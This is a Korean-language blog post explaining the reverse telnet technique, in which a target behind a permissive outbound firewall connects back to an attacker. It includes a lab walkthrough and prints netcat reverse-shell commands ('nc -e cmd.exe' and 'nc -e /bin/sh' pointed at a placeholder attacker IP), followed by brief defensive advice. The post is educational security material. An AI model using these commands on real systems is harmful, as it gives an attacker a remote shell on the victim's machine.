리버스 텔넷
리버스 텔넷 기술은 방화벽이 존재하는 시스템을 공격할 때 자주 사용되는 기법이다. 방화벽 정책에서 인바운드 정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)은 일반적으로 80번 포트 외에 필요한 포트 말고는 다 블록을 한다. 그러나 아웃바운드 정책(내부에서 외부로 나갈 때)은 보통 별다른 필터링을 수행하지 않는 경우가 많다. 이런 상황에서 리버스 텔넷은 유용한 기법이다.
서버에서 본인의 컴퓨터로 텔넷으로 접속하게 하는 기술로 일반적인 텔넷은 본인의 컴퓨터가 클라이언트가 되고 접속하고자 하는 상대방의 컴퓨터가 서버가 되지만 서로 바뀐 것으로 리버스 텔넷이라 한다. Netcat(nc)을 이용하는데 리버스 텔넷 기능뿐만 아니라 스캐닝 기능 등 매우 유용하고 다양한 기능을 수행할 수 있는 프로그램으로 해킹툴이 아니지만 사용을 하다보니 해킹의 용도로 자주 사용이 된다.
리버스 텔넷의 동작원리
일반적으로 공격자는 웹 서버의 80번 포트로의 접근이 가능하다. 그러나 방화벽 정책에 의해 내부에서 외부로 나가는 정책은 모두 허용이기 때문에 웹 서버에서 공격자 컴퓨터 쪽으로 리버스 텔넷 시도를 하는 것이 가능하게 된다.
공격 실습
공격자(VMware)의 IP주소를 확인
공격 대상의 IP 확인
공격자 컴퓨터의 특정 포트를 오픈, 100번 포트를 오픈 하였다. 포트 설정은 임의의 모든 포트를 이용해도 가능하다.
공격대상의 컴퓨터에서 공격자 컴퓨터로 리버스 텔넷을 시도한다.
nc -e cmd.exe [공격자 IP] port (윈도우 계열 명령)
nc -e /bin/sh [공격자 IP] port (유닉스 계열 명령)
공격자 컴퓨터로 리버스 텔넷을 시도하는 동시에 cmd창이 명령모드로 바뀐다. 즉 cmd.exe를 실행했을때 처럼 운영체제의 버전이 뜬다.
ipconfig로 확인을 해보니 공격자의 컴퓨터에 공격대상의 컴퓨터의 cmd창이 실행되었다. 공격자가 공격대상의 컴퓨터로 접속이 되었다.
보안대책
리버스 텔넷이 불가능 하도록 하기 위해서는 사이트의 파일 업로드 기능을 철저하게 점검하고 방화벽의 아웃 바운드 정책의 보안 수준을 높여야 한다.
'OLD_posting' 카테고리의 다른 글
초보 프로그래머 와 전문 프로그래머의 차이 (0) | 2012.10.16 |
---|---|
주요 포트 정리 (0) | 2012.10.08 |
PE (Portable Executable) 포맷 (0) | 2010.11.24 |
Caller/Callee Seaved Register (0) | 2010.11.15 |
Calling Convention (0) | 2010.11.15 |